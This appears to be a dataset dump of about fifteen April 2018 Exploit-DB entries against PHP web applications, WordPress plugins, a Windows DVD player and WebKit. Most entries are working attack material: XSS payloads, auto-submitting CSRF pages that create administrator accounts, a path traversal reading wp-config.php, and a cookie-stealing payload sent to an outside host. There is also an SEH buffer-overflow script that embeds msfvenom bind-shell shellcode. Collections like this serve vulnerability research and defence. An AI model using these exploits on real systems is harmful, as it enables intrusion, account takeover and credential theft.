QLWD/code_shield huggingface dataset:
标题: iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting EDB-ID: 44436 CVE: 2018-9237 2018-9236 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-10 漏洞利用脚本: # Exploit Title:  iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting
# Date: 02/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Demo Page: https://www.demo.iscripts.com/easycreate/demo/
# Version: 3.2.1
# Tested on: Windows 10
# Category: Webapps
# CVE: CVE-2018-9236
# CVE: CVE-2018-9237

1. Description
====================
iScripts EasyCreate 3.2.1 has Stored Cross-Site Scripting in the "Site Description" and "Site Title" fields.

2. PoC
====================
1. from "user section", access to "dashboard" and select "Created from saved items" with edit option
2. In "edit site" action,  Inject "><script>alert('2')</script> to "Site Description" field
3. Save and change!! refresh and we have alert pop up!

3. PoC
====================
1. from "user section", access to "dashboard" and select "Created from saved items" with edit option
2. In "edit site" action, Inject </title>"><script>alert('1')</script> to "Site title" field
3. Save and change! refresh and we have alert pop up!

4. References
====================
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9237
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9236 URL: https://www.exploit-db.com/exploits/44436
标题: WUZHI CMS 4.1.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 44439 CVE: 2018-9926 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-10 漏洞利用脚本: # Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account
# Date: 2018-04-10
# Exploit Author: taoge
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0 
# CVE : CVE-2018-9926
 
An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128）
There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add.
After the administrator logged in, open the csrf exp page.
 
 
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='form[role][]' value='1' />";
fields += "<input type='hidden' name='form[username]' value='hack123' />";  
fields += "<input type='hidden' name='form[password]' value='' />";  
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";  


var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=taoge";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html> URL: https://www.exploit-db.com/exploits/44439
标题: WordPress Plugin File Upload 4.3.2 - Stored Cross-Site Scripting EDB-ID: 44443 CVE: 2018-9172 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-10 漏洞利用脚本: # Exploit Title: WordPress Plugin WordPress File Upload 4.3.2 - Stored XSS
# Date: 31/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iptanus.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip
# Version: 4.3.2
# Tested on: CentOS 6.5
# CVE : CVE-2018-9172
# Category : Webapps

1. Description
===========
WordPress File Upload is a WordPress plugin with more than 20.000 active
installations.
Version 4.3.2 (and possibly previous versions) are affected by a Stored XSS
vulnerability in the admin panel ,related to the "Uploader Instances"
functionality.

2. Proof of Concept
===========

1. Login to admin panel
2. Access to Wordpress File Upload Control Panel. In Uploader Instances
function, choose and edit created Instance
3. In Plugin ID field, inject XSS pattern such as:
<script>alert('ManhNho')</script> and click Update button
4. Access to Pages/Posts contain upload option, we got alert ManhNho

3. References
===========
https://www.iptanus.com/new-version-4-3-3-of-wordpress-file-upload-plugin/
https://wordpress.org/plugins/wp-file-upload/#developers
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9172 URL: https://www.exploit-db.com/exploits/44443
标题: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting (PoC) EDB-ID: 44434 CVE: 2018-9235 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: # Exploit Title: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting
# Date: 02/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Demo Page: https://www.demo.iscripts.com/sonicbb/demo/
# Version: 1.0
# Tested on: Windows 10
# Category: Webapps
# CVE: CVE-2018-9235

1. Description
====================
iScripts SonicBB 1.0 has Reflected Cross-Site Scripting via the query
parameter to search.php

2. PoC
====================
Request:

GET
/sonicbb/demo/search.php?query=%22%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E
HTTP/1.1
Host: www.demo.iscripts.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=227100805.298811387.1522637403.1522637403.1522637403.1;
__utmb=227100805; __utmc=227100805;
__utmz=227100805.1522637403.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
PHPSESSID=grh7l3amrvhoapig8ll268l9o4;
messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; hs-messages-is-open=false
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Apr 2018 02:58:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 3619
...
    <tr>
     <td width="76%" class="alt1"><a href="index.php">iScripts Forum</a> ->
<a href="search.php?query="><script>alert('1')</script>">Search</a></td>
     <td width="24%" align="center" class="alt1">
      <form method="GET" action="search.php" style="display: inline">
       <input type="text" name="query" size="12" style="font-size: 10px">
       <input type="submit" value="Search" style="font-size: 10px">
      </form>
     </td>
    </tr>
...

3. References
====================
https://pastebin.com/caQW37fY
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9235 URL: https://www.exploit-db.com/exploits/44434
标题: DVD X Player Standard 5.5.3.9 - Buffer Overflow EDB-ID: 44438 CVE: 2018-9128 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2018-04-10 漏洞利用脚本: ######################################################
# Exploit Title: Buffer Overflow on DVD X Player Standard 5.5.3.9
# Date: 29.03.2018
# Vendor Homepage: http://www.dvd-x-player.com
# Software Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup-
# Standard.exe
# Category: Local (SEH Based)
# Exploit Credit: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 5.5.3.9
# Tested on: Windows XP SP3 x86
# CVE: CVE-2018-9128
######################################################

# root@PKP:~# msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 -b "\x00\x0a\x0d\x1a" -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# x86/shikata_ga_nai chosen with final size 355
# Payload size: 355 bytes
# Final size of python file: 1710 bytes


file = open("exploit_dvdx_player_standard_5.5.3.9.plf","w")
buffer = "\x41" * 608
next_seh = "\xeb\x06\x90\x90"
seh = "\xBC\x13\x5F\x02" # pop/pop/ret : EchoDelayProcess.dll
nops = "\x90" * 100

buf = ""
buf += "\xda\xd4\xd9\x74\x24\xf4\xb8\xb3\xb9\xc8\xae\x5a\x31"
buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x13\x03\xf1\xaa\x2a"
buf += "\x5b\x09\x24\x28\xa4\xf1\xb5\x4d\x2c\x14\x84\x4d\x4a"
buf += "\x5d\xb7\x7d\x18\x33\x34\xf5\x4c\xa7\xcf\x7b\x59\xc8"
buf += "\x78\x31\xbf\xe7\x79\x6a\x83\x66\xfa\x71\xd0\x48\xc3"
buf += "\xb9\x25\x89\x04\xa7\xc4\xdb\xdd\xa3\x7b\xcb\x6a\xf9"
buf += "\x47\x60\x20\xef\xcf\x95\xf1\x0e\xe1\x08\x89\x48\x21"
buf += "\xab\x5e\xe1\x68\xb3\x83\xcc\x23\x48\x77\xba\xb5\x98"
buf += "\x49\x43\x19\xe5\x65\xb6\x63\x22\x41\x29\x16\x5a\xb1"
buf += "\xd4\x21\x99\xcb\x02\xa7\x39\x6b\xc0\x1f\xe5\x8d\x05"
buf += "\xf9\x6e\x81\xe2\x8d\x28\x86\xf5\x42\x43\xb2\x7e\x65"
buf += "\x83\x32\xc4\x42\x07\x1e\x9e\xeb\x1e\xfa\x71\x13\x40"
buf += "\xa5\x2e\xb1\x0b\x48\x3a\xc8\x56\x05\x8f\xe1\x68\xd5"
buf += "\x87\x72\x1b\xe7\x08\x29\xb3\x4b\xc0\xf7\x44\xab\xfb"
buf += "\x40\xda\x52\x04\xb1\xf3\x90\x50\xe1\x6b\x30\xd9\x6a"
buf += "\x6b\xbd\x0c\x06\x63\x18\xff\x35\x8e\xda\xaf\xf9\x20"
buf += "\xb3\xa5\xf5\x1f\xa3\xc5\xdf\x08\x4c\x38\xe0\x32\x5f"
buf += "\xb5\x06\x50\x4f\x90\x91\xcc\xad\xc7\x29\x6b\xcd\x2d"
buf += "\x02\x1b\x86\x27\x95\x24\x17\x62\xb1\xb2\x9c\x61\x05"
buf += "\xa3\xa2\xaf\x2d\xb4\x35\x25\xbc\xf7\xa4\x3a\x95\x6f"
buf += "\x44\xa8\x72\x6f\x03\xd1\x2c\x38\x44\x27\x25\xac\x78"
buf += "\x1e\x9f\xd2\x80\xc6\xd8\x56\x5f\x3b\xe6\x57\x12\x07"
buf += "\xcc\x47\xea\x88\x48\x33\xa2\xde\x06\xed\x04\x89\xe8"
buf += "\x47\xdf\x66\xa3\x0f\xa6\x44\x74\x49\xa7\x80\x02\xb5"
buf += "\x16\x7d\x53\xca\x97\xe9\x53\xb3\xc5\x89\x9c\x6e\x4e"
buf += "\xb7\x6d\xa2\x5b\x20\xd4\x57\x26\x2c\xe7\x82\x65\x49"
buf += "\x64\x26\x16\xae\x74\x43\x13\xea\x32\xb8\x69\x63\xd7"
buf += "\xbe\xde\x84\xf2"

file.write(buffer + next_seh + seh + nops + buf)
file.close() URL: https://www.exploit-db.com/exploits/44438
标题: WebKit - WebAssembly Parsing Does not Correctly Check Section Order EDB-ID: 44427 CVE: 2018-4121 类型: DOS 平台: MULTIPLE 发布日期: 2018-04-09 漏洞利用脚本: When a WebAssembly binary is parsed in ModuleParser::parse, it is expected to contain certain sections in a certain order, but can also contain custom sections that can appear anywhere in the binary. The ordering check validateOrder() does not adequately check that sections are in the correct order when a binary contains custom sections.

static inline bool validateOrder(Section previous, Section next)
{
    if (previous == Section::Custom)
        return true;
    return static_cast<uint8_t>(previous) < static_cast<uint8_t>(next);
}

If the previous section was a custom section, the check always returns true, even if the section is otherwise out of order. This means any number of sections can be parsed from a binary, any number of times in any order. This leads to a number of possible overflows and type confusion bugs, as parsing assumes most sections are unique and in the right order.

The attached html file causes a crash in Safari, the wasm file is attached as well. This particular use of the bug causes an overflow in the function vector.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44427.zip URL: https://www.exploit-db.com/exploits/44427
标题: WolfCMS 0.8.3.1 - Open Redirection EDB-ID: 44421 CVE: 2018-8813 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: #######################################
# Exploit Title: WolfCMS 0.8.3.1 Open Redirection Vulnerability
# Google Dork: N/A
# Date: 04-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link: https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.3.1.zip
# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8813
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source, licensed under GPLv3.
#
# 2. Technical Description:
#
# Open redirect vulnerability in the login[redirect] parameter login
functionality in WolfCMS before 0.8.3.1 allows
# remote attackers to redirect users to arbitrary web sites and conduct
phishing attacks via a malformed URL.
#
# 3. Proof Of Concept:
#
#  Navigate to http://[URL]/wolfcms/?/admin/login
#  Enter the credentials and replace login[redirect] to any url.
#  You can see the unvalidated redirect.
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8813
# https://github.com/wolfcms/wolfcms/issues/670
##################################### URL: https://www.exploit-db.com/exploits/44421
标题: Cobub Razor 0.7.2 - Cross-Site Request Forgery EDB-ID: 44416 CVE: 2018-7746 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-06 漏洞利用脚本: # Exploit Title: Cobub Razor 0.7.2 Cross Site Request Forgery
# Date: 2018-03-07
# Exploit Author: ppb
# Vendor Homepage: https://github.com/cobub/razor/
# Software Link: https://github.com/cobub/razor/
# Version: 0.72
# CVE : CVE-2018-7746

There is a vulnerability. Authentication is not required for /index.php?/manage/channel/modifychannel. For example, with a crafted channel name, stored XSS is triggered during a later /index.php?/manage/channel request by an admin.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/index.php?/manage/channel/modifychannel" method="POST">
      <input type="hidden" name="channel_id" value="979" />
      <input type="hidden" name="channel_name" value="xss><svg/onload=alert(1)>" />
      <input type="hidden" name="platform" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44416
标题: WolfCMS 0.8.3.1 - Cross-Site Request Forgery EDB-ID: 44418 CVE: 2018-8814 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: #######################################
# Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery
# Google Dork: N/A
# Date: 04-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://www.wolfcms.org
# Software Link:

# Affected Version: 0.8.3.1
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-8814
#
# 1. Vendor Description:
#
# Light-weight, fast, simple and powerful CMS. PHP-based, easily extended
CMS. Uses MySQL, SQLite or (from 0.7)
# PostgreSQL for db. Simple drag & drop page hierarchy. Open source,
licensed under GPLv3.
#
# 2. Technical Description:
#
# Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1
allows remote attackers to hijack the
# authentication of users for requests that modify
plugin/[pluginname]/settings and can uninstall plugins by sending
# malicious request.
#
# 3. Proof Of Concept:
#
# Send below request to logged in user to change the plugin settings.
#
#<html>
#  <body>
#    <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save"
method="POST">
#      <input type="hidden" name="settings&#91;use&#95;dates&#93;"
value="1" />
#      <input type="hidden" name="commit" value="Save" />
#      <input type="submit" value="Submit request" />
#    </form>
#     <script>
#      document.forms[0].submit();
#            </script>
# </body>
#</html>
#
# Share the below URL to uninstall any plugin remotely.
#
# http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname]
#
#
# 4. Solution:
#
# Upgrade to latest release.
# http://www.wolfcms.org/blog.html
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814
# https://github.com/wolfcms/wolfcms/issues/671
##################################### URL: https://www.exploit-db.com/exploits/44418
标题: Cobub Razor 0.7.2 - Add New Superuser Account EDB-ID: 44419 CVE: 2018-7745 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: # Exploit Title: [Cobub Razor 0.7.2 Add New Superuser User]
# Date: [2018-03-07]
# Exploit Author: [ppb（ppb@5ecurity.cn）]
# Vendor Homepage: [https://github.com/cobub/razor/]
# Software Link: [https://github.com/cobub/razor/]
# Version: [0.72] 
# CVE : [CVE-2018-7745]

There is a vulnerability that can add an admnistrator user without login.
update the url and save to html ，then open it.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
      <input type="hidden" name="siteurl" value="http://127.0.0.1/" />
      <input type="hidden" name="superuser" value="test" />
      <input type="hidden" name="pwd" value="test123" />
      <input type="hidden" name="verifypassword" value="test123" />
      <input type="hidden" name="email" value="12@qq.com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44419
标题: Yahei PHP Prober 0.4.7 - Cross-Site Scripting EDB-ID: 44424 CVE: 2018-9238 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: # Exploit title: Yahei-PHP Proberv0.4.7 - Cross-Site Scripting
# Google Dork: intitle:"Proberv0." | inurl:/proberv.php
# Date: 23/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: http://www.yahei.net/
# Software Link: www.yahei.net/tz/tz_e.zip
# Version: 0.4.7
# CVE: CVE-2018-9238
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
proberv.php in Yahei-PHP Proberv 0.4.7 has XSS via the funName parameter.


#2. Proof of Concept
-----------------------------------------------------
Request:

POST /proberv.php HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: <target>/proberv.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Connection: close
Upgrade-Insecure-Requests: 1

pInt=No+Test&pFloat=No+Test&pIo=No+Test&host=localhost&port=3306&login=&password=&funName=%27%29%3C%2Fscript%3E%3Cscript%3Ealert%28%221%22%29%3B%3C%2Fscript%3E&act=Function+Test&mailAdd=

-----------------------------------------------------
Response:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Mar 2018 16:59:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Content-Length: 30461
...
<tr>
<td width="15%"></td>
<td width="60%">
Enter the function you want to test:
<input type="text" name="funName" size="50" />
</td>
<td width="25%">
<input class="btn" type="submit" name="act" align="right" value="Function
Test" />
</td>
</tr>
<script>alert('Function')</script><script>alert("1");</script>Test results
support the position: 错误')</script></table>


#3. References
-----------------------------------------------------
https://pastebin.com/ia7U4vi9
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9238 URL: https://www.exploit-db.com/exploits/44424
标题: WordPress Plugin Background Takeover < 4.1.4 - Directory Traversal EDB-ID: 44417 CVE: 2018-9118 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-09 漏洞利用脚本: # Exploit Title: WP Background Takeover, Directory Traversal <= 4.1.4
# Google Dork: inurl:/plugins/wpsite-background-takeover
# Date: 2018-03-08
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: https://99robots.com
# Software Link: https://99robots.com/products/wp-background-takeover-advertisements/
# Version: <= 4.1.4
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-9118

Description

Allows for an attacker to browse files via the download.php file:

http://target[.]com/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php URL: https://www.exploit-db.com/exploits/44417
标题: GetSimple CMS 3.3.13 - Cross-Site Scripting EDB-ID: 44408 CVE: 2018-9173 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-05 漏洞利用脚本: #######################################
# Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability
# Google Dork: N/A
# Date: 03-04-2018
#######################################
# Exploit Author: Sureshbabu Narvaneni#
#######################################
# Author Blog : http://nullnews.in
# Vendor Homepage: http://get-simple.info/
# Software Link: http://get-simple.info/download/
# Affected Version: 3.3.13
# Category: WebApps
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686
# CVE : CVE-2018-9173
#
# 1. Vendor Description:
#
# GetSimple is an XML based, stand-alone, fully independent and lite
Content Management System. To go along with its
# best-in-class user interface, we have loaded it with features that every
website needs, but with nothing it
# doesn't. GetSimple is truly the simplest way to manage a small-business
website.
#
# 2. Technical Description:
#
# Cross-site scripting (XSS) vulnerability in
admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13
# allows remote attackers to inject arbitrary web script or HTML, as
demonstrated by the movieName parameter.
#
# 3. Proof Of Concept:
#
#  Simple alert.
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){alert("MrR3boot")}//
#
#  Grab the cookies
#
#  http://
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(
#  e){window.location="https://mrreboot.here?"+document.cookie}//
#
# 4. Solution:
#
# Upgrade to latest release.
# http://get-simple.info/download/
#
# 5. Reference:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173
# https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266
##################################### URL: https://www.exploit-db.com/exploits/44408
标题: WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting EDB-ID: 44409 CVE: 2018-8729 类型: WEBAPPS 平台: PHP 发布日期: 2018-04-05 漏洞利用脚本: # Exploit Title : Activity Log Wordpress Plugin Stored Cross Site Scripting (XSS)
# Date: 25-02-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://pojo.me
# Software Link: https://wordpress.org/plugins/aryo-activity-log/
# Version: 2.4.0
# CVE : CVE-2018-8729
# Category : webapps

Description
===========
Activity Log is a WordPress plugin which tracks site activity. It has more than 70.000 active installations. Version 2.4.0 (and possibly the previous ones) are affected by several Stored XSS vulnerabilities.

Vulnerable part of code
=======================
Storing the payload:
File: aryo-activity-log/hooks/class-aal-hook-attachment.php:14. The log entry that is stored contains the result of get_the_title($post->ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-comments.php:14. The log entry that is stored contains the result of get_the_title($comment->comment_post_ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-posts.php:7. The log entry that is stored contains the result of $title = get_the_title($post), which can include HTML and is not sanitized by WordPress.
 
Displaying the payload:
File: aryo-activity-log/classes/class-aal-activity-log-list-table.php:209. $item->object_name is displayed without sanitization and can contain HTML tags.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is able to create a post or upload an attachment.

Exploitation
============
To successfully exploit this vulnerability, an attacker would have to perform any of the following:
- Create/edit/draft/publish/trash/untrash a post with JavaScript in the title
- Create/edit/trash/untrash/mark_as_spam/unmark_as_spam a comment on a post with JavaScript in the title
- Add/edit/delete an attachment with JavaScript in the attachment title

Regular website visitors will not have the capability to do any of these, however, possible threat actors might include:
- A user with the role of â€˜editorâ€™ within WordPress (non-admins which are able to create content)
- A rogue administrator among multiple administrators
- A compromised plugin

If the payload has been injected, then it will be executed once the Activity Log is viewed. This can possibly lead to stealing of CSRF nonces and creation of new (administrator) users on the WordPress instance.

Solution
========
Update to 2.4.1 URL: https://www.exploit-db.com/exploits/44409